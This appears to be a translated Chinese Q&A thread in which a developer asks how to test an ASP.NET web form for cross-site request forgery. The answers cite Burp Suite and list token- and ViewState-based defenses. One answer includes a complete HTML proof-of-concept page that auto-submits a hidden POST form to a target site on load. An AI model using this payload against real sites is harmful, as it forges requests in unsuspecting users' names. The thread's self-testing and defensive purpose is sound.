如何在Asp中测试CSRF攻击.Net Web应用程序
本文关键字:攻击 Net Web 应用程序 CSRF 测试 Asp | 更新日期: 2023-09-27 18:10:54
大家好,我是Web应用安全的新手。
为了同样的目的,我想测试我的应用程序。
我有一个表单,它有一些字段和一个提交按钮。
用户X登录并提交了表单,现在我想知道黑客如何攻击我的应用程序。
我读我需要张贴我的aspx页面的html代码。但我不知道我怎么能张贴表单与不正确的数据填写表单与html。有什么工具可以测试吗?或者如果我的页面有html,我怎么测试它?
我找到的最好的工具是:https://portswigger.net/burp/
它有一个可以拦截请求并生成CSRF的特性。此功能的详细信息可以在这里找到:https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-
我相信你是在问如何测试跨站点防伪造,而不是真正地防御它。网上有很多关于如何防御它的例子(http://blog.stevensanderson.com/2008/09/01/prevent-cross-site-request-forgery-csrf-using-aspnet-mvcs-antiforgerytoken-helper/)。
一个测试你是否正在防御这个的例子是登录到你的网站,然后打开另一个包含html和表单的标签页来发布到那个网站。由于您的会话是由浏览器维护的,如果您没有设置任何防御机制,网站将会授权post请求。
下面是一个示例,说明如何这样做。
<html xmlns="http://www/w3/org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title></title>
</head>
<body onload="document.getElementById('attacker').submit()">
<form id="attacker" action="https://website-in-question.com/Action" method="post">
<input name="FirstName" value="SomeFirstName" />
<input name="LastName" value="SomeLastName" />
<input name="EmailAddress" value="SomeFirstName.SomeLastName@Hack.com" />
</form>
<p>CROSS SITE REQUEST FORGERY IN PROGRESS....</p>
</body>
这个页面中的JavaScript是为了演示最终用户可能甚至不知道任何数据是如何以他们的名义发布的,因为表单可能是隐藏的。
您需要将action属性的内容替换为POST方法的URL。
如果是ASP。NET MVC应用程序。我建议您使用AntitForgeryToken。如果不是ASP。NET MVC将Session Id保存在viewstate中,那么viewstate就会像表单令牌一样起作用。通过使用一些加密或签名机制来保护Session Id,并使用SSL来防止嗅探。最后,您只需要验证sessionid和ViewState